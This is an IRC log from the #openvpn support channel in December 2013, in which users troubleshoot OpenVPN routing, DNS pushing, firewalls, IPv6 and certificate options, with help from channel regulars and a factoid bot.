13:33 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
13:46 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
14:03 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
14:11 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
14:15 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
14:16 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:19 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
14:35 -!- able [~able@gateway/tor-sasl/able] has quit [Remote host closed the connection]
14:40 -!- pa [~pa@unaffiliated/pa] has quit [Remote host closed the connection]
14:55 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
14:56 -!- lbft [~lbft@unaffiliated/lbft] has quit [Read error: Operation timed out]
14:59 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit [Remote host closed the connection]
14:59 -!- kro[au] [~thatguy@kgovps.net] has quit [Excess Flood]
15:01 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
15:05 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
15:05 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
15:05 -!- able [~able@gateway/tor-sasl/able] has quit [Remote host closed the connection]
15:06 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
15:06 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
15:07 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: Changing server]
15:08 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 265 seconds]
15:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:52 -!- u0m3 [~u0m3@92.80.121.199] has quit [Read error: Connection reset by peer]
15:56 -!- u0m3 [~u0m3@92.80.72.16] has joined #openvpn
15:57 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
16:01 -!- kirin` [telex@gateway/shell/anapnea.net/x-fuhjlmmzjbsvrhzn] has quit [Ping timeout: 246 seconds]
16:02 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
16:13 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
16:13 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
16:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-dxbergshaxsfmaak] has joined #openvpn
16:28 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
16:51 -!- A_Pickle [~A_Pickle@host-174-45-190-220.chy-wy.client.bresnan.net] has joined #openvpn
16:51 < A_Pickle> Good day, everyone.
16:51 < A_Pickle> I'm getting better at this, but I'm still far from being a pro.
16:52 <@ecrist> it's all good
16:53 < A_Pickle> Does anyone know how to configure the Windows Firewall such that I can have it enabled and activated on all interfaces while being able to access network shares from connected clients?
16:54 < A_Pickle> When I disable the firewall on the server, I can access my shares.
16:54 <@ecrist> perfect
16:54 < A_Pickle> As soon as I enable it, though, I lose them.
16:57 < A_Pickle> That uh... that... seems insecure.
17:01 -!- piem [~piem@coconut.piem.org] has joined #openvpn
17:03 < piem> hi all. i'm trying to figure out why ip forwarding is not working on my machine. i think i'm missing a 'route add' command, but no idea which
17:04 < piem> the tunnel is working, i can ping the server from the client, but i can't ping eth0 from tun0 on the server
17:08 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
17:12 < piem> i guess that could help: http://piem.org/~piem/route
17:14 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
17:19 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
17:19 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
17:19 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
17:33 < EugeneKay> A_Pickle - the usual answer is that Windows Firewall is a piece of shit. The complex one is that you need to set the VPN Interface as being a "trusted" network, which is not easy as it does not prompt you for the network type
17:33 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
17:33 < EugeneKay> There's a registry hack you can do, or if you're in an AD environment you can add the VPN subnet as belonging to a "Site"
17:37 < pekster> piem: Depending on what setup you have, there's !serverlan (for accessing a LAN behind your VPN server) or !clientlan (for a LAN behind your client)
17:50 -!- kasper93 [~kasper93@unaffiliated/kasper93] has joined #openvpn
17:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:05 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 245 seconds]
18:06 < kasper93> Hi, I'm trying to set up remote desktop connection through vpn on my android device. It almost working, but connection is droped and rd client throw error "connection reset by peer"
18:06 -!- XJR-9_ [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
18:06 -!- XJR-9_ is now known as XJR-9
18:06 < kasper93> do you have any ideas how to improve stability?
18:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:08 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit [Remote host closed the connection]
18:11 < kasper93> my server config https://gist.github.com/kasper93/56d28b1823b26a96fce9
18:11 <@vpnHelper> Title: gist:56d28b1823b26a96fce9 (at gist.github.com)
18:13 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
18:21 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
18:32 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
18:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
18:57 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
18:58 -!- mode/#openvpn [+o raidz] by ChanServ
19:25 -!- gardar [~gardar@gardar.net] has joined #openvpn
19:40 -!- able [~able@gateway/tor-sasl/able] has quit [Remote host closed the connection]
19:41 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
19:41 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
19:41 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:42 < wallbroken> is useful to use "nobind" in client configurations?
19:47 -!- Navop [~Apollon@24-122-113-81.ri.cgocable.ca] has joined #openvpn
19:48 < Navop> !welcome
19:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:51 < Navop> Running a virtualbox that is using a bridge adpter, I would like to know if the internet in the virtualbox would be faster if I had a second adpter instead of having it bridged
19:52 < Navop> sorry forgot to mention running a openvpn sotfware on vbox
19:53 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
19:53 -!- Navop [~Apollon@24-122-113-81.ri.cgocable.ca] has left #openvpn ["Leaving"]
19:54 < debbie10t> wallbroken : nobind allows your OS to assign source port ..
19:54 < wallbroken> what is the advantage?
19:56 < EugeneKay> YOur VPN link won't bork when the LAN DHCP renew comes around
19:56 < debbie10t> compatibiility
19:59 < debbie10t> !eugenekay
19:59 <@vpnHelper> "eugenekay" is right because EugeneKay is always right.
19:59 < debbie10t> that's how we roll
20:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
20:03 -!- u0m3 [~u0m3@92.80.72.16] has quit [Read error: Connection reset by peer]
20:06 < EugeneKay> !cuz
20:06 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
20:06 < EugeneKay> !why
20:07 <@vpnHelper> "why" is because screw you, that's why.
20:10 < debbie10t> lol :)
20:11 < debbie10t> don't be "that" mean
20:12 < EugeneKay> !shotgun
20:12 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
20:13 < debbie10t> i found that nobind on the client worked better for ubuntu machines as the OS or OVPN was no able to recycle the same source port fast enought for restarts . . .
20:13 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit []
20:15 < debbie10t> maybe if i could explain to my computer how close it was to gewtting two barrels of a shotgun it would be nicer to me .. but CPUS have no soul
20:15 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
20:20 -!- debbie10t is now known as gwraptor
20:21 < gwraptor> gwerrr
20:27 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
20:33 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
20:34 < gwraptor> i been stugglin with snat/dnat ..
20:36 < gwraptor> even openvpn dont throw the error for subnet conflicts .. its like a godam white out
20:43 < gwraptor> aaahh . i got it
20:43 < EugeneKay> !beer
20:43 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
20:44 < gwraptor> !champage
20:45 -!- HM2 [~HM@curly.anarchicsheep.net] has joined #openvpn
20:45 < HM2> anyone use openvpn with network manager?
20:45 < HM2> preferrably in KDE
20:45 < HM2> i can't seem to set a custom remote port
20:46 < gwraptor> --remote Ip.add.net port (no colon)
20:46 < HM2> where do i add that though
20:46 < gwraptor> !paste
20:46 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
20:46 < HM2> this is a GUI
20:47 < gwraptor> access server ?
20:48 < HM2> what?
20:48 < HM2> client setup
20:49 < gwraptor> ok
20:50 < gwraptor> you=client ..... WHO=serrver?
20:50 < HM2> me
20:50 < gwraptor> is it your own server ?
20:50 < HM2> yes
20:56 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 250 seconds]
20:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
20:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
20:58 < gwraptor> remote my.ip.sucks port
20:59 < gwraptor> client side
21:01 < gwraptor> quote --/etc/openvpn/? . . .
21:02 -!- gwraptor is now known as gwraptor|zzz
21:04 -!- gwraptor|zzz is now known as gwraptor|bones
21:18 < piem> pekster: i don't want to access a Lan on either side. what if i just want to forward access to the net through the tunnel?
21:20 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
21:21 < HM2> finally got it working by manually editing the config file
21:21 < HM2> just need to fix ipv6 now
21:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
21:28 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:35 < piem> http://piem.org/~piem/route -> am i missing a route to do forwarding from eth0 to tun1?
21:36 < piem> or should i look on the firewall side instead?
21:44 -!- Devastator [~devas@unaffiliated/devastator] has quit []
21:48 <@krzee> to forward what?
21:48 <@krzee> oh for redirecting to internet
21:48 <@krzee> yes, you're missing stuff
21:48 <@krzee> !redirect
21:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:48 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:48 <@krzee> piem, ^^
21:59 < piem> krzee: sweet, thanks!
22:00 < piem> !pushdns
22:00 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
22:06 < piem> !dns
22:06 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
22:08 < wallbroken> "ns-cert-type" with easyrsa 3, need to be removed from configuration?
22:18 <@krzee> np man
22:19 < piem> ok, everything work if i hack /etc/resolv.conf manually, now i need to set the up script
22:19 <@krzee> nice, that didnt take you long!
22:22 < piem> well i was just missing redirect-gateway really
22:22 < piem> also, it seems ipv6 traffic is not tunnelled yet
22:23 < piem> i'm in peru now, and my server in france. and everything feels faster through the tunnel! amazing
22:24 <@krzee> wow you got lucky!
22:24 <@krzee> i have experienced speed increases over vpn as well, but more often people complain of it slowing their connection
22:24 < pekster> HM2: If you haven't seen it yet, read !ipv6 for a wiki ref
22:25 < piem> !ipv6
22:25 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
22:25 < pekster> Ah, ironically, you too, it seems :)
22:25 < wallbroken> hi pekster
22:25 < piem> pekster: yes :)
22:25 -!- A_Pickle [~A_Pickle@host-174-45-190-220.chy-wy.client.bresnan.net] has quit [Ping timeout: 272 seconds]
22:26 <@krzee> cause if you have a great route to the vpn server, and the server has a much better connection to the internet than you, then you can get lucky and get a better connection when using the vpn
22:26 -!- dothak [~dothak@c-98-224-238-114.hsd1.mi.comcast.net] has quit [Quit: Leaving.]
22:28 < piem> krzee: i guess this is what happens. but i guess it depends quite a bit on some qos rules or other traffic shaping on the client provider
22:30 <@krzee> oh well i always run the server so i am used to controlling that
22:34 < piem> and what about the up script? should i just echo nameserver x.x.x.x > /etc/resolv.conf ?
22:42 < pekster> piem: Depends on how your OS/distro's network & DNS setup works. Be careful if you use a local DHCP client that tries to own DNS settings on renewals
22:42 < piem> on https://community.openvpn.net/openvpn/wiki/IPv6, it is not clear whether the server-ipv6 directive should be added to the client or the server
22:44 < pekster> --server or --server-ipv6 are only valid on the client (a look at the manpage should make that fairly obvious too)
22:45 < piem> pekster: ah yes, ok. sure, was reading that now. :)
22:46 < wallbroken> with easyrsa3 i do not need to include ns-cert-type ?
22:46 < wallbroken> on the configuration file
22:47 < pekster> In the openvpn config file? Use --remote-cert-tls (see: !mitm for details)
22:47 < pekster> "Netscape" hasn't been meaningfully used for many years, so why include Netscape extensions in your certs? ;)
22:50 < piem> pekster: you meant only valid on the server, right?
22:50 < pekster> piem: Yes, that ;)
22:50 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has joined #openvpn
22:51 < propheticsquiddy> hello all, novaflash
22:52 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has left #openvpn ["Leaving"]
22:57 < wallbroken> !mitm
22:57 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
22:58 < piem> wow, fantastic, all traffic tunnelled now, and faster!
22:58 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
22:59 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:00 < wallbroken> ok "remote-cert-tls client" in client configuration, and "remote-cert-tls server" in the server configuration
23:00 < wallbroken> right?
23:03 < pekster> Other way around
23:03 < pekster> (#3) above
23:04 < wallbroken> ok, and "remote-cert-tls" will not work with certs generated with easyrsa2, right?
23:04 < pekster> It will, yes
23:05 < wallbroken> ok, also ns-cert-type will work with easyrsa3 ?
23:07 < pekster> If enabled. see vars.example: https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/easyrsa3/vars.example#L125
23:07 <@vpnHelper> Title: easy-rsa/easyrsa3/vars.example at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
23:10 < wallbroken> ok
23:11 < wallbroken> http://claudblog.blogspot.it/2013/12/openvpn-una-risorsa-per-aumentare-la_20.html
23:11 <@vpnHelper> Title: Suggerimenti Informatici: OpenVPN, una risorsa per aumentare la produttività (e per divertirsi) (at claudblog.blogspot.it)
23:11 < wallbroken> this is the how to made in my own language
23:11 < wallbroken> I hope it will help somebody
23:21 < pekster> I don't read Italian, but after skimming that you might want to note that verb 5 is generally for debugging/troubleshooting firewall problems; users leaving it enabled will cause log writes for every packet transmitted
23:23 <@ecrist> it gets really interesting if you're sending that log over the VPN via syslog
23:23 < wallbroken> ok, so, you suggest to use 3 verbosity level?
23:23 <@ecrist> 3 is good normal level
23:34 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Quit: ZNC - http://znc.in]
23:47 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
23:47 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Changing host]
23:47 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
23:58 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-xwohiwxaoffhhuti] has joined #openvpn
--- Day changed Sat Dec 21 2013
00:07 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
00:07 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
00:08 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
00:08 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
00:09 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
00:09 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
00:11 -!- xrosnight [~quassel@120.236.123.133] has quit [Remote host closed the connection]
00:11 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
00:12 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
00:12 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
00:32 -!- A_Pickle [~A_Pickle@host-174-45-190-220.chy-wy.client.bresnan.net] has joined #openvpn
00:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
00:56 < piem> why is it that my client can ping some remote machine from tun, but can not ping the server?
00:58 < EugeneKay> Firewall, usually.
00:58 < A_Pickle> Does anyone know how to configure the Windows Firewall such that I can have it enabled and activated on all interfaces while being able to access network shares from connected clients?
00:58 < A_Pickle> When I disable the firewall on the server, I can access my shares.
00:59 < A_Pickle> As soon as I enable it, though, I lose them.
01:01 < piem> EugeneKay: any track to debug it?
01:01 < EugeneKay> !iptables
01:01 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to get you
01:01 <@vpnHelper> started as firewall design is beyond this channel's scope; you can also see #netfilter
01:01 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has joined #openvpn
01:02 < EugeneKay> See #3 ;-)
01:58 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-yjlvugbcprqyogse] has joined #openvpn
01:58 < mjkr> how much of openvpn operate outside of the internet layer?
02:47 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-yjlvugbcprqyogse] has quit [Quit: WeeChat 0.4.1]
02:59 -!- Zap-W [~zxd@bzq-79-182-8-38.red.bezeqint.net] has joined #openvpn
03:04 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Read error: No route to host]
03:09 -!- jemadux [~jemadux@2001:648:2ffc:1225:a800:ff:fe11:5b65] has joined #openvpn
03:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
03:10 < jemadux> hello . can someone who uses salix to tell me how to do that https://vpn.autistici.org/help/howto-ubuntu-en.html ?
03:11 <@vpnHelper> Title: A/I VPN (at vpn.autistici.org)
03:15 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:19 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
03:19 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:23 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
03:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:29 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
03:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
03:39 -!- Zap-W [~zxd@bzq-79-182-8-38.red.bezeqint.net] has quit [Ping timeout: 251 seconds]
03:39 -!- Zap-W [~zxd@bzq-79-182-8-38.red.bezeqint.net] has joined #openvpn
03:46 -!- Zap-W [~zxd@bzq-79-182-8-38.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
03:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
03:49 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:03 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 260 seconds]
04:14 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
04:25 < wallbroken> http://nopaste.info/8d9523f637.html
04:25 < wallbroken> why do u think i get tsl handshake error?
04:36 < jemadux> hello . can someone who uses salix to tell me how to configure openvpn on autistici ? https://vpn.autistici.org/help/howto-ubuntu-en.html ?
04:36 <@vpnHelper> Title: A/I VPN (at vpn.autistici.org)
04:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:47 -!- xrosnight [~quassel@219.131.1.49] has joined #openvpn
04:54 < wallbroken> is some problem with new certs
04:58 -!- JackSummer [~jack@79.154.47.241] has joined #openvpn
05:17 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
05:27 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
05:29 -!- xrosnight [~quassel@219.131.1.49] has quit [Ping timeout: 252 seconds]
05:29 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
05:41 -!- JackSummer [~jack@79.154.47.241] has quit [Remote host closed the connection]
05:41 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
06:49 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
07:24 -!- hgax [~hgax@162.243.112.153] has quit [Ping timeout: 252 seconds]
07:25 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 245 seconds]
07:33 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Ping timeout: 264 seconds]
07:33 < jemadux> wallbroken, no it is not .. i am using atm other laptop with openvpn and works fine
07:34 < wallbroken> jemadux, it is not what?
07:34 < jemadux> about A/I vpn
07:35 < wallbroken> i created new certificates
07:36 < wallbroken> but with the same config openvpn, they dont work
07:36 < wallbroken> the old one: yes
07:36 < wallbroken> so, there is some certificate problem
07:40 -!- hgax [~hgax@162.243.112.153] has joined #openvpn
07:40 -!- emid [~emid@192.241.162.156] has joined #openvpn
07:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:49 -!- mback2k_ is now known as mback2k
07:51 -!- mback2k is now known as mback2k_
07:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:58 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
08:14 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
08:16 -!- klein [~klein@187.85.187.248] has joined #openvpn
08:16 -!- klein [~klein@187.85.187.248] has quit [Changing host]
08:16 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:19 < gwraptor|bones> It seems only the client detects potential subnet conflicts The server does not report conflict - is this by design ?
08:19 -!- gwraptor|bones is now known as gwraptor
08:20 -!- jemadux [~jemadux@2001:648:2ffc:1225:a800:ff:fe11:5b65] has left #openvpn ["Leaving"]
08:24 <@plaisthos> gwraptor: yeah
08:25 < gwraptor> ok - thanks
08:30 < gwraptor> plaisthos: out of curiosity: what is the rational behind the decision to not detect conflicts at the server side ?
08:30 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
08:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
08:42 < gwraptor> If i use p2p and no --mode server would it detect both sides ?
08:51 -!- xrosnight [~quassel@219.131.1.49] has joined #openvpn
08:53 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
08:55 -!- dvl [~dan@64.147.113.42] has joined #openvpn
08:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:04 < wallbroken> !dh
09:04 <@vpnHelper> "dh" is build-dh from easy-rsa and option dh in ssl-admin, creates a file which is a prime number the size of bits you defined (1024 default) which is used in the diffie-hellman algorithm to provide a method to negotiate a secure connection over an insecure channel. just one of the layers of encryption available to you in your VPN
09:12 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 263 seconds]
09:13 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:42 -!- master_o1_master [~master_of@p4FD7B8C7.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_of_master [~master_of@p4FD7B4C5.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
09:51 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:53 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 250 seconds]
09:54 -!- kasper93 [~kasper93@unaffiliated/kasper93] has joined #openvpn
09:55 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 250 seconds]
09:58 -!- xrosnight [~quassel@219.131.1.49] has quit [Changing host]
09:58 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
10:01 -!- CUBOX is now known as Cubox
10:14 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
10:14 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
10:20 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 245 seconds]
10:23 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
10:23 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
10:23 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
10:38 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
10:44 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
10:58 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:12 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
11:12 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
11:18 -!- Jaska__ [~Q@gprs-internet-bcee18-202.dhcp.inet.fi] has joined #openvpn
11:18 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
11:45 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 245 seconds]
11:49 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
11:50 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
11:50 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
11:50 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
11:50 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
11:54 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
11:55 < HM2> hmm
11:55 < HM2> not getting an ipv6 address
11:57 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
11:57 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:06 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
12:07 < HM2> aRGH
12:07 <@krzee> !ipv6
